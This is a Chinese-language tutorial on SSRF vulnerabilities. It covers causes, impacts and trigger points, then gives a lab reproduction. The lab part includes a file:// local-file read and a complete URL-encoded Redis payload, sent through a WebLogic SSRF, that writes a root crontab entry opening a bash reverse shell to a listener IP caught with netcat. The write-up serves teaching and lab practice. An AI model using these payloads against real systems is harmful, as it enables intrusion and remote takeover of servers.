漏洞介绍
SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造url,由服务端对此url发起请求的一个安全漏洞。
漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞危害
1.对外网服务器所在的内网,本地进行端口扫描,获取一些服务的banner信息.
2.攻击运行在内网或本地的应用程序
3.对内网Web应用进行指纹识别
4.识别企业内部的资产信息攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
5.利用file协议读取本地文件等
漏洞高危触发点
1.分享:通过URL地址分享网页内容
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:通过URL地址翻译对应文本的内容
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
漏洞复现
1.利用ssrf漏洞读取本地文件
原理
将页面请求的url改为指定本地文件路径的url
步骤
原url:
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/XXE-master/vul/ssrf/ssrf_info/info1.php
原url执行效果:
修改后的url
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=file:///C:/Users/Administrator/Desktop/1.txt
修改后的url执行效果
1.txt被显示到页面
2.利用ssrf漏洞攻击内网redis数据库
环境
Redis数据库4.0版本、10.0.x版本的weblogic服务器
原理
利用weblogic服务器的ssrf漏洞发送HTTP请求给Redis数据库,再利用Redis数据库4.0版本内网的未授权访问漏洞getshell
步骤
1.打开Ubuntu虚拟机,安装vulhub漏洞环境
2.进入vulhub-master/weblogic/ssrf目录,输入docker-compose up -d启动环境
3.物理机访问 http://192.168.16.131:7001/uddiexplorer/SearchPublicRegistries.jsp,192.168.16.131为vulhub的ip
4.输入一个值Bp抓包
5.通过修改post值里的url请求为指定服务器ip,探测内网中的redis服务器ip(通过6379端口检查),http://172.22.0.2:6379成功返回结果
6.发送三条redis命令,即可将弹shell的脚本写入/etc/crontab,之后将shell发送到指定的ip的一个端口,ip可自己更改,之后在192.168.16.131上使用nc监听4444端口,输入nc -lvvp 4444 开启监听
Url编码后的redis命令:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.131%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
1
发送命令:
将url编码后的命令放到redis服务器的ip后(http://172.22.0.2:6379/命令),替换url发送,过一会nc处就会自动弹出一个控制172.22.0.2:6379的shell
使用nc开启4444端口监听:控制172.22.0.2:6379的shell弹出